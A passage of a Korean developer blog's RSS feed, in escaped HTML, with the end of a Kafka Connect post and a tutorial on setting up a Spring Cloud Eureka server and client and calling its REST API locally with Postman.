&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5aURm/btrh0ErTV6M/ClRv5HNrPKEqZYr15ZOXt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5aURm/btrh0ErTV6M/ClRv5HNrPKEqZYr15ZOXt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5aURm/btrh0ErTV6M/ClRv5HNrPKEqZYr15ZOXt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5aURm%2Fbtrh0ErTV6M%2FClRv5HNrPKEqZYr15ZOXt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;556&quot; height=&quot;166&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;example_topic_users table이 생성된 것을 볼 수 있고&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DsHyb/btrhX1gQbYK/QbivkBdHmkRRHDsNJ3RnGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DsHyb/btrhX1gQbYK/QbivkBdHmkRRHDsNJ3RnGk/img.png&quot; width=&quot;383&quot; height=&quot;327&quot; data-origin-width=&quot;632&quot; data-origin-height=&quot;540&quot; style=&quot;width: 45.9693%; margin-right: 10px;&quot; data-widthpercent=&quot;46.51&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DsHyb/btrhX1gQbYK/QbivkBdHmkRRHDsNJ3RnGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDsHyb%2FbtrhX1gQbYK%2FQbivkBdHmkRRHDsNJ3RnGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1erp9/btrhTSeCnhT/wwBIsQuCCO3P0yQdn68zp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1erp9/btrhTSeCnhT/wwBIsQuCCO3P0yQdn68zp0/img.png&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;526&quot; width=&quot;395&quot; height=&quot;294&quot; style=&quot;width: 52.8679%;&quot; data-widthpercent=&quot;53.49&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1erp9/btrhTSeCnhT/wwBIsQuCCO3P0yQdn68zp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1erp9%2FbtrhTSeCnhT%2FwwBIsQuCCO3P0yQdn68zp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;708&quot; height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;users table과 example_topic_users table&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서로 테이블의 내용이 같은 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;참고&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://debezium.io/documentation/reference/1.3/architecture.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://debezium.io/documentation/reference/1.3/architecture.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://always-kimkim.tistory.com/entry/kafka101-connect&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://always-kimkim.tistory.com/entry/kafka101-connect&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>kafka</category>
      <category>kafka connect</category>
      <category>kafka connector</category>
      <category>kafka connector란</category>
      <category>kafka connect란</category>
      <category>카프카</category>
      <category>카프카 커넥트</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/53</guid>
      <comments>https://cjw-awdsd.tistory.com/53#entry53comment</comments>
      <pubDate>Sat, 16 Oct 2021 14:27:33 +0900</pubDate>
    </item>
    <item>
      <title>[Spring Cloud] Eureka 개념 및 예제</title>
      <link>https://cjw-awdsd.tistory.com/52</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;최근 Spring Cloud에 대해 학습한 것을 정리하고자한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 글에서는 Eureka개념과 Eureka Server 생성 예제를 정리한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka는 무엇인가?&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Eureka&lt;/b&gt;는 클라우드 환경의 다수의 서비스(예: API 서버)들의 로드 밸런싱 및 장애 조치 목적을 가진 미들웨어서버이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;로드 밸런싱 &lt;/span&gt;&lt;/b&gt;: 특정 서비스를 제공하는 서버가 여러대가 있을 때 트래픽을 한 서버에 몰리지 않게 분산해주는 기술이다. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;미들웨어&lt;/b&gt; : &lt;/span&gt;데이터를 주고 받는 양쪽의 서비스(웹의 예로 클라이언트와 API 서버)의 중간에 위치해 매개 역할을 하는 소프트웨어다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka는 이러한 미들웨어 기능을 하기 위해 각 연결된 서비스의 &lt;span style=&quot;color: #409d00;&quot;&gt;IP / PORT /InstanceId&lt;/span&gt;를 가지고 있고 &lt;span style=&quot;color: #409d00;&quot;&gt;REST기반으로 작동한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka는 Client-Sever 방식으로 Eureka Server에 등록된 서비스는 &lt;span style=&quot;color: #409d00;&quot;&gt;Eureka Client&lt;/span&gt;로 불린다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;911&quot; width=&quot;735&quot; height=&quot;349&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lL32n/btreRSuWGXV/uIQYsqZ4hNxKVzI542aBCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lL32n/btreRSuWGXV/uIQYsqZ4hNxKVzI542aBCK/img.png&quot; data-alt=&quot;Eureka 프로세스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lL32n/btreRSuWGXV/uIQYsqZ4hNxKVzI542aBCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlL32n%2FbtreRSuWGXV%2FuIQYsqZ4hNxKVzI542aBCK%2Fimg.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;911&quot; width=&quot;735&quot; height=&quot;349&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Eureka 프로세스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 그림은 Eureka Server와 Eureka Client의 프로세스다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 서비스를 Eureka Server에 등록하게 되면 &lt;span style=&quot;color: #409d00;&quot;&gt;Eureka Server&lt;/span&gt;는 각 &lt;span style=&quot;color: #409d00;&quot;&gt;Eureka Client의 IP / PORT / InstanceId를 저장&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이후 Eureka Client가 다른 Eureka Client에게 요청을 보낼 때 Eureka에서 받아온 정보를 가지고 요청을 보낼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서비스가 Eureka Server에 &lt;span style=&quot;color: #409d00;&quot;&gt;등록될 때 자신이 살아있다는 상태값을 보낸다&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그리고 Eureka Server는 &lt;span style=&quot;color: #409d00;&quot;&gt;다른 Eureka Client의 정보들을 제공&lt;/span&gt;하고 서비스는 &lt;span style=&quot;color: #409d00;&quot;&gt;Local Cache에 저장&lt;/span&gt;한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이후 30초(Default)마다 Eureka Server에 &lt;span style=&quot;color: #409d00;&quot;&gt;Heartbeats&lt;/span&gt; 요청을 보내고 Eureka Server는 90초 안에 Headerbeats가 도착하지 않으면 해당 &lt;span style=&quot;color: #409d00;&quot;&gt;Eureka Client를 제거&lt;/span&gt;한다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Server는 REST 기반이기에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;Eureka Client 등록 / Eureka Client 정보 가져오기 / Heartbeats / Eureka Client 삭제 &lt;/span&gt;등 다양한 기능을 HTTP를 이용해 사용할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다음은 위 기능에 해당한는 HTTP Endpoint다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 100px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Operation&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;HTTP Action&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Description&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Client 등록&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;POST /eureka/apps/appID&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Input: JSON/XML payload HTTP Code: 204 on success&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Client 삭제&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;DELETE /eureka/apps/appID/instanceID&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;HTTP Code: 200 on success&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Heartbeats&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;PUT /eureka/apps/appID/instanceID&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;HTTP Code: * 200 on success * 404 if instanceID doesn&amp;rsquo;t exist&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Client 목록&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GET /eureka/apps&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;HTTP Code: 200 on success Output: JSON/XML&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제부터 Eureka Server와 Eureka Client 예제를 만들고 위 API중 몇개를 실습해보자.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Server&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 Eureka Server를 구축해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;Gradle 의존성은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536730273&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-server'
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치후 다음과 같이 메인 클래스에 &lt;span style=&quot;color: #409d00;&quot;&gt;@EnableEurekaServer&lt;/span&gt; 어노테이션을 붙여 Eureka Server임을 알려준다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536757183&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@SpringBootApplication
@EnableEurekaServer
public class DiscoveryApplication {
    public static void main(String[] args) {
        SpringApplication.run(DiscoveryApplication.class, args);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;application.yml은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536773289&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;server:
  port: 8761

spring:
  application:
    name: discovery-service

eureka:
  client:
    register-with-eureka: false #eureka server를 registry에 등록할지 여부
    fetch-registry: false       #registry에 있는 정보들을 가져올지 여부&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이게 Eureka Server 기본적인 설정이 끝이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 서버를 구동하고 http://localhost:8761을 입력하면 다음과 같은 Eureka Dashboard가 출력된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1893&quot; data-origin-height=&quot;926&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtZID4/btreYaBh2Pe/OuqSpIzOgDYzDzKfdz9I71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtZID4/btreYaBh2Pe/OuqSpIzOgDYzDzKfdz9I71/img.png&quot; data-alt=&quot;Eureka Server Dashboard&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtZID4/btreYaBh2Pe/OuqSpIzOgDYzDzKfdz9I71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtZID4%2FbtreYaBh2Pe%2FOuqSpIzOgDYzDzKfdz9I71%2Fimg.png&quot; data-origin-width=&quot;1893&quot; data-origin-height=&quot;926&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Eureka Server Dashboard&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;현재 Eureka Server에는 등록된 Eureka Client가 없기 때문에 Instances가 없다고 출력된다. 이제 Eureka Client로 등록할 서비스를 하나 만들어보자.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Client&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Client로 등록하기 위해서는 아래와 같은 의존성을 추가해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536909038&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-client'
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka Server와 똑같이 메인 클래스에 Eureka Client라는 것을 알리는 &lt;span style=&quot;color: #409d00;&quot;&gt;@EnableDiscoveryClient&lt;/span&gt;&amp;nbsp;어노테이션을 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536948067&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@SpringBootApplication
@EnableDiscoveryClient
public class DemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;application.yml은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1631536956962&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;spring:
  application:
    name: eureka-client-ex

server:
  port: 8080

eureka:
  client:
    register-with-eureka: true
    fetch-registry: true
    service-url:
      defaultZone: http://127.0.0.1:8761/eureka #Eureka Server 명시&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 서버를 실행하면 위에서 작동한 Eureka Server에 등록되어 다음과 같이 instance에 표시되는걸 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1608&quot; data-origin-height=&quot;914&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A9qzN/btreQ8jX1vF/ADBpMvqwTQKiVKALQboVsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A9qzN/btreQ8jX1vF/ADBpMvqwTQKiVKALQboVsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A9qzN/btreQ8jX1vF/ADBpMvqwTQKiVKALQboVsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA9qzN%2FbtreQ8jX1vF%2FADBpMvqwTQKiVKALQboVsK%2Fimg.png&quot; data-origin-width=&quot;1608&quot; data-origin-height=&quot;914&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Eureka API&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 Postman을 사용해 위에서 봤던 Eureka Server API중 Eureka Instance 조회, 삭제를 해보자.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;조회&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GET /eureka/apps&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;2278&quot; width=&quot;617&quot; height=&quot;933&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csDQCQ/btreYaOSrq5/UFiUmyhbzMFPsCdtgqJeKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csDQCQ/btreYaOSrq5/UFiUmyhbzMFPsCdtgqJeKK/img.png&quot; data-alt=&quot;Eureka Instance 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csDQCQ/btreYaOSrq5/UFiUmyhbzMFPsCdtgqJeKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsDQCQ%2FbtreYaOSrq5%2FUFiUmyhbzMFPsCdtgqJeKK%2Fimg.png&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;2278&quot; width=&quot;617&quot; height=&quot;933&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Eureka Instance 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;현재 등록된 Instance Eureka-Client-Ex의 정보가 출력되는 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;참고로 Json으로 보고 싶을 땐 HTTP 요청헤더에 Accept: application/json을 달고 보내야한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;삭제&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;DELETE /eureka/apps/{appID}/{instanceID}&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;appID 같은 경우 위의 목록에서 &lt;span style=&quot;color: #409d00;&quot;&gt;&quot;app&quot;&lt;/span&gt;에 해당되는 부분이고 instanceID는 &lt;span style=&quot;color: #409d00;&quot;&gt;&quot;instanceID&quot;&lt;/span&gt;에 해당되는 값이다.&lt;/span&gt;&lt;/p&gt;
